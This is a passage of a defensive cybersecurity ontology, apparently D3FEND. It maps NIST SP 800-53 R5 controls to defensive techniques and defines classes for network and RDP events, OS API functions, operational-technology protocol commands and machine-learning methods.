control-name: Access Restrictions for Change | Automated Access Enforcement and Audit Records
member-of: NIST SP 800-53 R5
narrower: LocalAccountMonitoring

CM-5(3)
type: NISTControl
type: NamedIndividual
control-name: Access Restrictions for Change | Signed Components
member-of: NIST SP 800-53 R5
narrower: LocalAccountMonitoring
narrower: SystemConfigurationPermissions

CM-5(5)
type: NISTControl
type: NamedIndividual
control-name: Access Restrictions for Change | Privilege Limitation for Production and Operation
member-of: NIST SP 800-53 R5
narrower: LocalAccountMonitoring
narrower: SystemConfigurationPermissions

CM-5(6)
type: NISTControl
type: NamedIndividual
control-name: Access Restrictions for Change | Limit Library Privileges
member-of: NIST SP 800-53 R5
narrower: LocalAccountMonitoring
narrower: SystemConfigurationPermissions

CM-6(3)
type: NISTControl
type: NamedIndividual
broader: ApplicationConfigurationHardening
control-name: Configuration Settings | Unauthorized Change Detection
member-of: NIST SP 800-53 R5

IA-2(1)
type: NISTControl
type: NamedIndividual
control-name: Identification and Authentication (organizational Users) | Multi-factor Authentication to Privileged Accounts
member-of: NIST SP 800-53 R5
narrower: Multi-factorAuthentication

IA-2(2)
type: NISTControl
type: NamedIndividual
control-name: Identification and Authentication (organizational Users) | Multi-factor Authentication to Non-privileged Accounts
member-of: NIST SP 800-53 R5
narrower: Multi-factorAuthentication

IA-2(4)
type: NISTControl
type: NamedIndividual
control-name: Identification and Authentication (organizational Users) | Local Access to Non-privileged Accounts
member-of: NIST SP 800-53 R5
narrower: LocalAccountMonitoring

IA-2(6)
type: NISTControl
type: NamedIndividual
control-name: Identification and Authentication (organizational Users) | Access to Accounts —separate Device
member-of: NIST SP 800-53 R5
narrower: Multi-factorAuthentication

IR-4(12)
type: NISTControl
type: NamedIndividual
control-name: Incident Handling | Malicious Code and Forensic Analysis
member-of: NIST SP 800-53 R5
related: DynamicAnalysis

IR-4(13)
type: NISTControl
type: NamedIndividual
control-name: Incident Handling | Behavior Analysis
member-of: NIST SP 800-53 R5
related: DecoyEnvironment
related: DecoyObject

MA-3(3)
type: NISTControl
type: NamedIndividual
control-name: Maintenance Tools | Prevent Unauthorized Removal
member-of: NIST SP 800-53 R5
narrower: UserAccountPermissions

MA-3(4)
type: NISTControl
type: NamedIndividual
control-name: Maintenance Tools | Restricted Tool Use
member-of: NIST SP 800-53 R5
narrower: UserAccountPermissions

MA-3(5)
type: NISTControl
type: NamedIndividual
control-name: Maintenance Tools | Execution with Privilege
member-of: NIST SP 800-53 R5
narrower: UserAccountPermissions

MA-3(6)
type: NISTControl
type: NamedIndividual
control-name: Maintenance Tools | Software Updates and Patches
member-of: NIST SP 800-53 R5
narrower: SoftwareUpdate

MA-4(1)
type: NISTControl
type: NamedIndividual
control-name: Nonlocal Maintenance | Logging and Review
member-of: NIST SP 800-53 R5
narrower: LocalAccountMonitoring

MA-6
type: NISTControl
type: NamedIndividual
control-name: Timely Maintenance
member-of: NIST SP 800-53 R5
narrower: SoftwareUpdate

MA-6(1)
type: NISTControl
type: NamedIndividual
control-name: Timely Maintenance | Preventive Maintenance
member-of: NIST SP 800-53 R5
narrower: SoftwareUpdate

MA-6(2)
type: NISTControl
type: NamedIndividual
control-name: Timely Maintenance | Predictive Maintenance
member-of: NIST SP 800-53 R5
narrower: SoftwareUpdate

MA-6(3)
type: NISTControl
type: NamedIndividual
control-name: Timely Maintenance | Automated Support for Predictive Maintenance
member-of: NIST SP 800-53 R5
narrower: SoftwareUpdate

RA-3(3)
type: NISTControl
type: NamedIndividual
broader: FileAnalysis
broader: IdentifierAnalysis
broader: MessageAnalysis
broader: NetworkTrafficAnalysis
broader: PlatformMonitoring
broader: ProcessAnalysis
broader: UserBehaviorAnalysis
control-name: Risk Assessment | Dynamic Threat Awareness
member-of: NIST SP 800-53 R5

RA-3(4)
type: NISTControl
type: NamedIndividual
control-name: Risk Assessment | Predictive Cyber Analytics
member-of: NIST SP 800-53 R5
narrower: FileAnalysis
narrower: IdentifierAnalysis
narrower: MessageAnalysis
narrower: NetworkTrafficAnalysis
narrower: PlatformMonitoring
narrower: ProcessAnalysis
narrower: UserBehaviorAnalysis

RA-5
type: NISTControl
type: NamedIndividual
broader: NetworkTrafficAnalysis
control-name: Vulnerability Monitoring and Scanning
member-of: NIST SP 800-53 R5

RA-5(2)
type: NISTControl
type: NamedIndividual
control-name: Vulnerability Monitoring and Scanning | Update Vulnerabilities to Be Scanned
member-of: NIST SP 800-53 R5
narrower: NetworkTrafficAnalysis

RA-5(3)
type: NISTControl
type: NamedIndividual
control-name: Vulnerability Monitoring and Scanning | Breadth and Depth of Coverage
member-of: NIST SP 800-53 R5
narrower: NetworkTrafficAnalysis

RA-5(4)
type: NISTControl
type: NamedIndividual
control-name: Vulnerability Monitoring and Scanning | Discoverable Information
member-of: NIST SP 800-53 R5
related: DecoyEnvironment
related: DecoyObject

RA-5(5)
type: NISTControl
type: NamedIndividual
control-name: Vulnerability Monitoring and Scanning | Privileged Access
member-of: NIST SP 800-53 R5
narrower: PlatformHardening

RA-5(6)
type: NISTControl
type: NamedIndividual
control-name: Vulnerability Monitoring and Scanning | Automated Trend Analyses
member-of: NIST SP 800-53 R5
narrower: PlatformHardening

RA-5(7)
type: NISTControl
type: NamedIndividual
control-name: Vulnerability Monitoring and Scanning | Automated Detection and Notification of Unauthorized Components
member-of: NIST SP 800-53 R5
narrower: ExecutableAllowlisting
narrower: ExecutableDenylisting

SA-10(1)
type: NISTControl
type: NamedIndividual
control-name: Developer Configuration Management | Software and Firmware Integrity Verification
member-of: NIST SP 800-53 R5
related: FirmwareVerification
related: PlatformHardening

SA-10(3)
type: NISTControl
type: NamedIndividual
control-name: Developer Configuration Management | Hardware Integrity Verification
member-of: NIST SP 800-53 R5
related: FirmwareVerification

SA-10(4)
type: NISTControl
type: NamedIndividual
control-name: Developer Configuration Management | Trusted Generation
member-of: NIST SP 800-53 R5
related: FirmwareVerification

SA-10(5)
type: NISTControl
type: NamedIndividual
control-name: Developer Configuration Management | Mapping Integrity for Version Control
member-of: NIST SP 800-53 R5
related: FirmwareVerification
related: PlatformHardening

SA-10(6)
type: NISTControl
type: NamedIndividual
control-name: Developer Configuration Management | Trusted Distribution
member-of: NIST SP 800-53 R5
related: FirmwareVerification
related: PlatformHardening

SA-11(1)
type: NISTControl
type: NamedIndividual
control-name: Developer Testing and Evaluation | Static Code Analysis
member-of: NIST SP 800-53 R5
related: ApplicationHardening

SA-11(8)
type: NISTControl
type: NamedIndividual
control-name: Developer Testing and Evaluation | Dynamic Code Analysis
member-of: NIST SP 800-53 R5
related: ApplicationHardening

SA-8(18)
type: NISTControl
type: NamedIndividual
control-name: Security and Privacy Engineering Principles | Trusted Communications Channels
member-of: NIST SP 800-53 R5
related: EncryptedTunnels

SA-8(22)
type: NISTControl
type: NamedIndividual
control-name: Security and Privacy Engineering Principles | Accountability and Traceability
member-of: NIST SP 800-53 R5
related: DomainAccountMonitoring

SC-2
type: NISTControl
type: NamedIndividual
broader: LocalFilePermissions
broader: SystemConfigurationPermissions
control-name: Separation of System and User Functionality
member-of: NIST SP 800-53 R5

SC-2(1)
type: NISTControl
type: NamedIndividual
control-name: Separation of System and User Functionality | Interfaces for Non-privileged Users
member-of: NIST SP 800-53 R5
narrower: LocalFilePermissions
narrower: SystemConfigurationPermissions

SC-3
type: NISTControl
type: NamedIndividual
broader: ExecutionIsolation
broader: NetworkIsolation
control-name: Security Function Isolation
member-of: NIST SP 800-53 R5

SC-3(1)
type: NISTControl
type: NamedIndividual
control-name: Security Function Isolation | Hardware Separation
member-of: NIST SP 800-53 R5
narrower: ExecutionIsolation

SI-2(4)
type: NISTControl
type: NamedIndividual
control-name: Flaw Remediation | Automated Patch Management Tools
member-of: NIST SP 800-53 R5
narrower: SoftwareUpdate

SI-2(5)
type: NISTControl
type: NamedIndividual
control-name: Flaw Remediation | Automatic Software and Firmware Updates
exactly: FirmwareVerification
exactly: PeripheralFirmwareVerification
exactly: SoftwareUpdate
exactly: SystemFirmwareVerification
member-of: NIST SP 800-53 R5

SI-2(6)
type: NISTControl
type: NamedIndividual
control-name: Flaw Remediation | Removal of Previous Versions of Software and Firmware
member-of: NIST SP 800-53 R5
narrower: FirmwareVerification
narrower: PeripheralFirmwareVerification
narrower: SoftwareUpdate
narrower: SystemFirmwareVerification

SI-3
type: NISTControl
type: NamedIndividual
broader: FileAnalysis
broader: NetworkTrafficAnalysis
broader: PlatformMonitoring
broader: ProcessAnalysis
control-name: Malicious Code Protection
member-of: NIST SP 800-53 R5

SI-3(10)
type: NISTControl
type: NamedIndividual
control-name: Malicious Code Protection | Malicious Code Analysis
exactly: DynamicAnalysis
member-of: NIST SP 800-53 R5

SI-3(4)
type: NISTControl
type: NamedIndividual
control-name: Malicious Code Protection | Updates Only by Privileged Users
member-of: NIST SP 800-53 R5
narrower: LocalFilePermissions
narrower: SystemConfigurationPermissions

SI-3(8)
type: NISTControl
type: NamedIndividual
control-name: Malicious Code Protection | Detect Unauthorized Commands
member-of: NIST SP 800-53 R5
narrower: UserBehaviorAnalysis

SI-4
type: NISTControl
type: NamedIndividual
broader: OperatingSystemMonitoring
control-name: System Monitoring
member-of: NIST SP 800-53 R5

SI-4(2)
type: NISTControl
type: NamedIndividual
control-name: System Monitoring | Automated Tools and Mechanisms for Real-time Analysis
member-of: NIST SP 800-53 R5
narrower: NetworkTrafficAnalysis

SI-4(4)
type: NISTControl
type: NamedIndividual
control-name: System Monitoring | Inbound and Outbound Communications Traffic
member-of: NIST SP 800-53 R5
narrower: NetworkTrafficAnalysis

NTP Client Synchronization Event
type: Class
definition: An event where an NTP client requests and adjusts its clock based on time synchronization data provided by an NTP server, ensuring alignment with a standard time source.
subclass of: NTPEvent

NTP Symmetric Active Exchange Event
type: Class
definition: An event where an NTP peer operating in symmetric active mode initiates clock synchronization messages to a peer in symmetric passive mode, enabling time synchronization between equal-status systems.
subclass of: NTPEvent

Named Pipe
type: Class
type: NamedIndividual
definition: In computing, a named pipe (also known as a FIFO for its behavior) is an extension to the traditional pipe concept on Unix and Unix-like systems, and is one of the methods of inter-process communication (IPC). The concept is also found in OS/2 and Microsoft Windows, although the semantics differ substantially. A traditional pipe is 'unnamed' and lasts only as long as the process. A named pipe, however, can last as long as the system is up, beyond the life of the process. It can be deleted if no longer used. Usually a named pipe appears as a file, and generally processes attach to it for IPC.
subclass of: Pipe

Network Audio Visual Streaming Resource
type: Class
definition: A server that provides digital audio-visual media content to users.
subclass of: Network Multimedia Streaming Resource

Network Connection Close Event
type: Class
definition: An event where a network connection is closed.
subclass of: Restriction
  on property: preceded-by
  some values from: NetworkConnectionOpenEvent
subclass of: NetworkConnectionEvent

Network Connection Fail Event
type: Class
definition: An event where a network connection attempt fails.
subclass of: NetworkConnectionEvent

Network Connection Listen Event
type: Class
definition: An event where a network endpoint begins listening for new network connections.
subclass of: NetworkConnectionEvent

Network Connection Refuse Event
type: Class
definition: An event where a network connection is refused.
subclass of: NetworkConnectionEvent

Network Connection Reset Event
type: Class
definition: An event where an attempt is made to establish a network connection.
subclass of: Restriction
  on property: preceded-by
  some values from: NetworkConnectionOpenEvent
subclass of: NetworkConnectionEvent

Network Device Event
type: Class
definition: An event capturing the activity or state of network devices, such as Ethernet adapters, Wi-Fi modules, or virtual interfaces. These events highlight connectivity, configuration, or performance changes.
subclass of: HardwareDeviceEvent

Network Frame
type: Class
definition: A finite, self-delimited sequence of bits exchanged as one unit over a single data link. Formed by link-layer encapsulation, a frame typically begins with synchronization and control fields, carries a payload, ends with an integrity check, and is bounded from adjacent frames by explicit timing or delimiter symbols.
subclass of: DigitalInformationBearer
alternative label: Frame

Network Multimedia Streaming Resource
type: Class
definition: A server that provides digital multimedia content to users.
subclass of: NetworkMediaStreamingResource

Network Time Server
type: Class
definition: A network time server is a server computer that reads the actual time from a reference clock and distributes this information to its clients using a computer network. The time server may be a local network time server or an internet time server. The time server may also be a stand-alone hardware device. It can use NTP (RFC5905) or other protocols.
subclass of: Server

Non-Person Entity
type: Class
definition: An entity related to information technology with a digital identity that acts in cyberspace, but is not a human actor. This can include organizations, hardware objects (physical entities/devices), software objects (virtual/logical entities), and information artifacts.
synonym: NPE
subclass of: Agent

Nonlinear Regression
type: Class
type: NamedIndividual
d3fend-id: D3A-NR
definition: Nonlinear regression is a form of regression analysis in which observational data are modeled by a function which is a nonlinear combination of the model parameters and depends on one or more independent variables.
kb-article: ## References Wikipedia. (n.d.). Nonlinear regression. [Link](https://en.wikipedia.org/wiki/Nonlinear_regression)
subclass of: RegressionAnalysis

OS API Access Process
type: Class
type: NamedIndividual
definition: An OS API function for interacting with processes.
invokes: Access Process
subclass of: Restriction
  on property: invokes
  some values from: Access Process
subclass of: OSAPISystemFunction

OS API Function
type: Class
definition: A callable interface provided by an operating system that allows applications or other software components to interact with and utilize the underlying system resources, services, or functionalities.
subclass of: Software

OS API Load Module
type: Class
type: NamedIndividual
definition: An OS API function that loads a module into memory and makes it available for execution.
invokes: LoadModule
subclass of: Restriction
  on property: invokes
  some values from: LoadModule
subclass of: OSAPISystemFunction

OS API Read Memory
type: Class
type: NamedIndividual
definition: An OS API function that reads the contents of memory from a specific address or region.
invokes: ReadMemory
subclass of: Restriction
  on property: invokes
  some values from: ReadMemory
subclass of: OSAPISystemFunction

OS API Save Registers
type: Class
type: NamedIndividual
definition: An OS API function that retrieves and saves the values of CPU registers for a specific process or thread.
invokes: SaveRegister
subclass of: Restriction
  on property: invokes
  some values from: SaveRegister
subclass of: OSAPISystemFunction

OS API Set Registers
type: Class
type: NamedIndividual
definition: An OS API function that modifies the values of CPU registers.
invokes: SetRegisters
subclass of: Restriction
  on property: invokes
  some values from: SetRegisters
subclass of: OSAPISystemFunction

OS API Unload Module
type: Class
type: NamedIndividual
definition: An OS API function that removes a previously loaded module from memory.
invokes: UnloadModule
subclass of: Restriction
  on property: invokes
  some values from: UnloadModule
subclass of: OSAPISystemFunction

OT Abort Command
type: Class
type: NamedIndividual
definition: Commands a device to abort a service/program.
modifies: OTControllerOperatingMode
comment: BACnet: deviceCommunicationControl BACnet: reinitializeDevice
comment: GE-SRTP: SET PLC (RUN VS STOP)
subclass of: Restriction
  on property: modifies
  some values from: OTControllerOperatingMode
subclass of: OTModifyDeviceOperatingModeCommand

OT Alarm Message
type: Class
definition: Report danger, hazards, or serious errors.
comment: BACnet: acknowledgeAlarm BACnet: confirmedEventNotification BACnet: getAlarmSummary BACnet: unconfirmedEventNotification BACnet: lifeSafetyOperation BACnet: Abort: 1 BACnet: Abort: 2 BACnet: Abort: 3 BACnet: Abort: 4 BACnet: Abort: 5 BACnet: Abort: 6 BACnet: Abort: 7 BACnet: Abort: 8 BACnet: Abort: 9 BACnet: Abort: 10 BACnet: Abort: 11 BACnet: Abort: 12
comment: GE-SRTP: RETURN FAULT TABLE GE-SRTP: CLEAR FAULT TABLE
subclass of: OTDiagnosticsMessage

OT Change Control Program Command
type: Class
type: NamedIndividual
definition: Commands a remote device to modify an existing control program.
modifies: OTControlProgram
comment: GE-SRTP: WRITE PROGRAM BLOCK MEMORY GE-SRTP: CHANGE PLC CPU PRIVILEGE LEVEL GE-SRTP: SET CONTROL ID(CPU ID) GE-SRTP: PROGRAM STORE (UPLOAD FROM PLC) GE-SRTP: PROGRAM LOAD (DOWNLOAD TO PLC) GE-SRTP: TOGGLE FORCE SYSTEM MEMORY
subclass of: Restriction
  on property: modifies
  some values from: OTControlProgram
subclass of: OTModifyControlProgramCommand

OT Change Data Command
type: Class
definition: OT command that modifies existing data on a remote device.
comment: BACnet: atomicWriteFile BACnet: writeProperty BACnet: writePropertyMultiple BACnet: write-group
comment: CIP: Set Attributes All CIP: Set Attribute List CIP: Set Attribute Single CIP: Set Member
comment: GE-SRTP: WRITE SYSTEM MEMORY GE-SRTP: WRITE TASK MEMORY
comment: Modbus: Write Single Coil Modbus: Write Single Register Modbus: Write Multiple Coils Modbus: Write Multiple Registers Modbus: Write File Record Modbus: Mask Write Register Modbus: Read Write Register
subclass of: OTWriteCommand

OT Control Command
type: Class
definition: Command and control the managed process.
comment: CIP: Reset CIP: Start CIP: Stop CIP: Create CIP: Delete CIP: Apply Attributes CIP: Restore CIP: Save
comment: GE-SRTP: PLC SHORT STATUS REQUEST
subclass of: OTProcessDataCommand

OT Create Data Command
type: Class
definition: OT command that creates data on a remote device.
comment: BACnet: addListElement BACnet: createObject
comment: CIP: Insert Member
subclass of: OTWriteCommand

OT Create New Control Program Command
type: Class
type: NamedIndividual
definition: Commands a remote device to create an control program.
has-participant: OTControlProgram
comment: GE-SRTP: WRITE PROGRAM BLOCK MEMORY GE-SRTP: SET CONTROL ID(CPU ID) GE-SRTP: PROGRAM LOAD (DOWNLOAD TO PLC) GE-SRTP: TOGGLE FORCE SYSTEM MEMORY
subclass of: Restriction
  on property: has-participant
  some values from: OTControlProgram
subclass of: OTModifyControlProgramCommand

OT Debug Command
type: Class
definition: Investigate or analyze the current state of the system.
comment: BACnet: getEnrollmentSummary BACnet: confirmed-audit-notification BACnet: audit-log-query BACnet: unconfirmed-audit-notification
comment: Modbus: Get Comm. Event Log Modbus: Return Query Data Modbus: Clear Counters Modbus: Get Comm. Event Counters
subclass of: OTDiagnosticsMessage

OT Delete Control Program Command
type: Class
type: NamedIndividual
definition: Commands a remote device to remove an existing control program.
modifies: OTControlProgram
subclass of: Restriction
  on property: modifies
  some values from: OTControlProgram
subclass of: OTModifyControlProgramCommand

OT Delete Data Command
type: Class
definition: OT command that removes data on a remote device.
comment: BACnet: removeListElement BACnet: deleteObject
subclass of: OTWriteCommand

OT Device Description Message
type: Class
definition: Describe features, abilities, or performance of system components.
comment: ENIP: List Services ENIP: List Interfaces
comment: GE-SRTP: RETURN CONTROL PROGRAM NAMES GE-SRTP: RETURN CONTROLLER TYPE AND ID INFORMATION
subclass of: OTDeviceManagementMessage

OT Device Identification Message
type: Class
definition: Identify devices on the network.
comment: BACnet: i-Am BACnet: i-Have BACnet: who-Has BACnet: who-Is
comment: ENIP: List Identity
comment: Modbus: Read Device Identification Modbus: Report Slave ID
subclass of: OTDeviceManagementMessage

OT Disconnect Remote Connection Command
type: Class
definition: The Disconnect Request message is sent to the message receiver to indicate that the transmitter is terminating its TCP socket.
subclass of: OTConnectionCommand

OT Download Control Program Command
type: Class
type: NamedIndividual
definition: Commands a remote device to download a control program.
modifies: OTControlProgram
synonym: OT Program Download
comment: GE-SRTP: PROGRAM STORE (UPLOAD FROM PLC) GE-SRTP: PROGRAM LOAD (DOWNLOAD TO PLC)
subclass of: Restriction
  on property: modifies
  some values from: OTControlProgram
subclass of: OTModifyControlProgramCommand

OT Error Message
type: Class
definition: An anticipated, reproducible defect occurred within the system.
comment: BACnet: Error: 1 BACnet: Error: 2 BACnet: Error: 3 BACnet: Error: 4 BACnet: Error: 5 BACnet: Error: 6 BACnet: Error: 7 BACnet: Error: 8
subclass of: OTDiagnosticsMessage

OT Establish Remote Connection Command
type: Class
definition: Used to establish an TCP/IP Connection to the target device.
subclass of: OTConnectionCommand

OT Establish Remote Connection Command Event
type: Class
definition: Used to establish an TCP/IP Connection to the target device.
subclass of: Restriction
  on property: has-participant
  some values from: OT Establish Remote Connection Command
subclass of: OTConnectionCommandEvent

OT Exception Message
type: Class
definition: An unknown or anomalous condition occurred in the system.
comment: BACnet: Reject: 1 BACnet: Reject: 2 BACnet: Reject: 3 BACnet: Reject: 4 BACnet: Reject: 5 BACnet: Reject: 6 BACnet: Reject: 7 BACnet: Reject: 8 BACnet: Reject: 9 BACnet: Reject: 10
comment: Modbus: Read Exception Status Modbus: Exception: Illegal Function Modbus: Exception: Illegal Data Address Modbus: Exception: Illegal Data Value Modbus: Exception: Slave Device Failure Modbus: Exception: Acknowledge Modbus: Exception: Slave Device Busy Modbus: Exception: Memory Parity Error Modbus: Exception: Gateway Path Unavailable Modbus: Exception: Gateway Target Device Failed to Respond
subclass of: OTDiagnosticsMessage

OT Pause Command
type: Class
type: NamedIndividual
definition: Commands a device to pause a service/program.
modifies: OTControllerOperatingMode
comment: BACnet: deviceCommunicationControl BACnet: reinitializeDevice
comment: GE-SRTP: SET PLC (RUN VS STOP)
subclass of: Restriction
  on property: modifies
  some values from: OTControllerOperatingMode
subclass of: OTModifyDeviceOperatingModeCommand

OT Program Mode Command
type: Class
type: NamedIndividual
definition: Command that places the controller in a mode capable of reprogramming logic. This may or may not stop the program.
modifies: OTControllerOperatingMode
comment: BACnet: deviceCommunicationControl BACnet: reinitializeDevice
comment: GE-SRTP: SET PLC (RUN VS STOP)
subclass of: Restriction
  on property: modifies
  some values from: OTControllerOperatingMode
subclass of: OTModifyDeviceOperatingModeCommand

OT Proprietary Message
type: Class
definition: Vendor specific and may not be publicly documented, or values left for device specific configuration.
subclass of: OTProtocolMessage

OT Read Device Configuration Command
type: Class
definition: Read device configuration.
comment: BACnet: deviceCommunicationControl
comment: GE-SRTP: READ PROGRAM MEMORY
subclass of: OTDeviceConfigurationCommand

OT Read File Command
type: Class
type: NamedIndividual
definition: Reads data in specified chuncks or the contents of a specified file stored in the file device connected to the PC.
has-participant: File
comment: BACnet: atomicReadFile
comment: Modbus: Read File Record
subclass of: Restriction
  on property: has-participant
  some values from: File
subclass of: OTReadCommand

OT Read Time Command
type: Class
definition: Read timing mechanisms.
comment: example
subclass of: OTTimeCommand

OT Read Value Command
type: Class
type: NamedIndividual
definition: Reads the contents of the specified number of consecutive parameter areawords starting from the specified word.
has-participant: OTLogicVariable
comment: BACnet: confirmedCOVNotification BACnet: subscribeCOV BACnet: readProperty BACnet: readPropertyConditional BACnet: readPropertyMultiple BACnet: unconfirmedCOVNotification BACnet: readRange BACnet: subscribeCOVProperty BACnet: getEventInformation BACnet: subscribe-cov-property-multiple BACnet: confirmed-cov-notification-multiple BACnet: unconfirmed-cov-notification-multiple
comment: CIP: Get Attributes All CIP: Get Attribute List CIP: Get Attribute Single CIP: Find Next Object Instance CIP: Get Member
comment: GE-SRTP: READ SYSTEM MEMORY GE-SRTP: READ TASK MEMORY
comment: Modbus: Read Coils Modbus: Read Discrete Inputs Modbus: Read Holding Registers Modbus: Read Input Registers Modbus: Read FIFO Queue
subclass of: Restriction
  on property: has-participant
  some values from: OTLogicVariable
subclass of: OTReadCommand

OT Remote Mode Command
type: Class
type: NamedIndividual
definition: Command that places the controller in a mode capable of receiving read/write communication from a networked entity.
modifies: OTControllerOperatingMode
comment: BACnet: deviceCommunicationControl BACnet: reinitializeDevice
comment: GE-SRTP: SET PLC (RUN VS STOP)
subclass of: Restriction
  on property: modifies
  some values from: OTControllerOperatingMode
subclass of: OTModifyDeviceOperatingModeCommand

OT Run Command
type: Class
type: NamedIndividual
definition: Commands a device to start or resume a service/program.
modifies: OTControllerOperatingMode
comment: BACnet: deviceCommunicationControl BACnet: reinitializeDevice
comment: GE-SRTP: SET PLC (RUN VS STOP)
subclass of: Restriction
  on property: modifies
  some values from: OTControllerOperatingMode
subclass of: OTModifyDeviceOperatingModeCommand

OT Security Command
type: Class
definition: Ensure confidentiality, integrity, or availability of system information.
comment: BACnet: authenticate BACnet: requestKey
comment: GE-SRTP: PROGRAMMER LOGON
subclass of: OTNetworkManagementCommand

OT Set Time Command
type: Class
definition: Set timing mechanisms.
subclass of: OTTimeCommand

OT Stop Command
type: Class
type: NamedIndividual
definition: Commands a device to stop a service/program.
modifies: OTControllerOperatingMode
comment: BACnet: deviceCommunicationControl BACnet: reinitializeDevice
comment: GE-SRTP: SET PLC (RUN VS STOP)
subclass of: Restriction
  on property: modifies
  some values from: OTControllerOperatingMode
subclass of: OTModifyDeviceOperatingModeCommand

OT Synchronize Time Command
type: Class
definition: Used to align timing mechanisms.
comment: example
subclass of: OTTimeCommand

OT Test Command
type: Class
type: NamedIndividual
definition: Commands a device to run a program in Test mode.
modifies: OTControllerOperatingMode
comment: BACnet: deviceCommunicationControl BACnet: reinitializeDevice
comment: GE-SRTP: SET PLC (RUN VS STOP)
subclass of: Restriction
  on property: modifies
  some values from: OTControllerOperatingMode
subclass of: OTModifyDeviceOperatingModeCommand

OT Transport Configuration Command
type: Class
definition: Configure transport settings for a communication channel.
comment: Modbus: Encapsulated Interface Transport
subclass of: OTNetworkManagementCommand

Operating Mode
type: Class
definition: An operating mode designates the specific way a system, product, or service functions for a particular task, configuration, or phase of operation
subclass of: SystemPlatformVariable

Operational Logic Validation
type: Class
type: NamedIndividual
d3fend-id: D3-OLV
definition: Validation of variable state in the context of the control logic of the operational application.
kb-article: ## How it works Validates the type, value, and/or range of a variable taking into account the local operational logic and operational state. For example, if a controller has a restricted range when in a specified state, this may crosscheck the value against the state in addition to a more general range validation.
validates: OTControlFunction
subclass of: Restriction
  on property: validates
  some values from: OTControlFunction
subclass of: Domain Logic Validation

Operational Process Monitoring
type: Class
type: NamedIndividual
d3fend-id: D3-OPM
definition: Monitoring physical parameters and operator actions related to an operational environment.
kb-article: ## How it works While some Operational Technology systems are designed to operate without human intervention, most systems are designed with the ability to monitor and modify the physical process with user input. This technique detects adversarial risks to operational processes by observing physical events and operator actions and analyzing event logs. Key steps in operational process security monitoring are: 1. Read logs generated by controllers, and HMIs, through DAU's and DA agents; 2. Produce digital event records; 3. Display the aggregated data to a device such as an HMI or process historian, and write those records to event logs and/or to the OT process data historian for traceability and incident reconstruction. 4. Monitor the procees and detect incidents or indicators of tampering such as: - malfunctions - unauthorized commands, - unsafe setpoint changes, - alarm suppression, and - anomalous mode transitions;
kb-reference: Reference-GuideToOTSecurity
monitors: EventLog
synonym: Supervisory Control Monitoring
uses: OTProcessDataHistorian
subclass of: Restriction
  on property: uses
  some values from: OTProcessDataHistorian
subclass of: Restriction
  on property: monitors
  some values from: EventLog
subclass of: PlatformMonitoring

Orchestration Controller
type: Class
type: NamedIndividual
contains: Container Orchestration Software
definition: An orchestration server provides orchestration services that automate the configuration, coordination, and management of computer systems and software.
subclass of: Restriction
  on property: contains
  some values from: Container Orchestration Software
subclass of: OrchestrationServer

Permission Granting Event
type: Class
definition: An administrative event where authorization is given, allowing a subject to perform specific operations on a protected resource, effectuating a policy decision to allow access rights.
subclass of: Access Control Administration Event

Permission Revoking Event
type: Class
definition: An administrative event entailing the withdrawal of previously granted access rights, reconfiguring permissions to prevent a subject from performing specific actions on a resource, in accordance with updated access policies.
subclass of: Access Control Administration Event

Physical Key
type: Class
definition: A physical key is used to operate a lock, typically metal, designed with specific markers that match the internal mechanism of a lock, allowing it to rotate the lock when inserted.
subclass of: Restriction
  on property: operates
  some values from: Physical Key Lock
subclass of: PhysicalArtifact

Physical Key Lock
type: Class
definition: A mechanical locking device for securing moveable portions of physical barriers (e.g., doors, gates, drawers) in a secured position.
synonym: keyed lock
isDefinedBy: NRC Regulatory Guide 5.12 Rev1
subclass of: Restriction
  on property: uses
  some values from: Physical Key
subclass of: PhysicalLock

Physical Link Connect Event
type: Class
definition: The medium is attached or the port is enabled, establishing electrical or optical continuity so that link negotiation can begin.
subclass of: Restriction
  on property: precedes
  some values from: PhysicalLinkUpEvent
subclass of: PhysicalLinkEvent

Physical Link Disconnect Event
type: Class
definition: The transmission medium is removed or power is cut, physically breaking the path between the two interfaces.
subclass of: Restriction
  on property: preceded-by
  some values from: PhysicalLinkDownEvent
subclass of: PhysicalLinkEvent

Planning
type: Class
subclass of: AnalyticalPurpose

Policy Gradient
type: Class
type: NamedIndividual
d3fend-id: D3A-PG
definition: The objective of a Reinforcement Learning Policy Gradient agent is to maximize the “expected” reward when following a policy
kb-article: ## References Policy Gradients in a Nutshell. Towards Data Science. [Link](https://towardsdatascience.com/policy-gradients-in-a-nutshell-8b72f9743c5d).
subclass of: Model-freeReinforcementLearning

Policy Reference
type: Class
pref-label: Policy
subclass of: TechniqueReference

Power Supply
type: Class
definition: A power supply is an electrical device or module that converts and regulates energy from a source (e.g., the power grid or batteries) to an appropriate voltage, current, and frequency for one or more loads. It may stand alone or be integrated into its host appliance, often providing overcurrent protection, voltage regulation, or power conditioning for safe, stable operation.
subclass of: HardwareDevice

Privileged User Account
type: Class
definition: A privileged account is a user account that has more privileges than ordinary users. Privileged accounts might, for example, be able to install or remove software, upgrade the operating system, or modify system or application configurations. They might also have access to files that are not normally accessible to standard users. Typical examples are root and administrator accounts. But there also service accounts, system accounts, etc. Privileged accounts are especially powerful, and should be monitored especially closely.
subclass of: UserAccount

Process Data Segment
type: Class
definition: A process data segment, is a portion of the program's virtual address space that contains executable instructions and corresponds to the loaded image data segment.
subclass of: ProcessSegment

Product Developer
type: Class
definition: A product developer intentionally designs, creates, or improves products, which may include physical goods, software, or other outputs.
subclass of: Provider

Projection-based Clustering
type: Class
type: NamedIndividual
d3fend-id: D3A-PBC
definition: Projection Based Clustering is a clustering framework based on a chosen projection method and projection method a parameter-free high-dimensional data visualization technique.
kb-article: ## References R Core Team. (2021). ProjectionBasedClustering: Projection Based Clustering. [Link](https://cran.r-project.org/web/packages/ProjectionBasedClustering/ProjectionBasedClustering.pdf) Lai, J. H., Liu, Y., & Wu, W. (2017). Projection Based Clustering. [Link](https://www.researchgate.net/publication/319006501_Projection_Based_Clustering)
subclass of: High-dimensionClustering

Q-Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-QL
definition: Q-learning is a model-free reinforcement learning algorithm to learn the value of an action in a particular state. It does not require a model of the environment (hence "model-free"), and it can handle problems with stochastic transitions and rewards without requiring adaptations.
kb-article: ## References Q-learning. Wikipedia. [Link](https://en.wikipedia.org/wiki/Q-learning).
subclass of: Model-freeReinforcementLearning

RDP Connect Request Event
type: Class
definition: An event where an RDP client sends a connection request specifying session parameters, such as display settings, compression preferences, and security requirements, to prepare for an interactive session.
subclass of: RDPEvent

RDP Initial Request Event
type: Class
definition: An event where an RDP client initiates communication with a server by sending a request to establish a session and negotiate protocol capabilities for remote interaction.
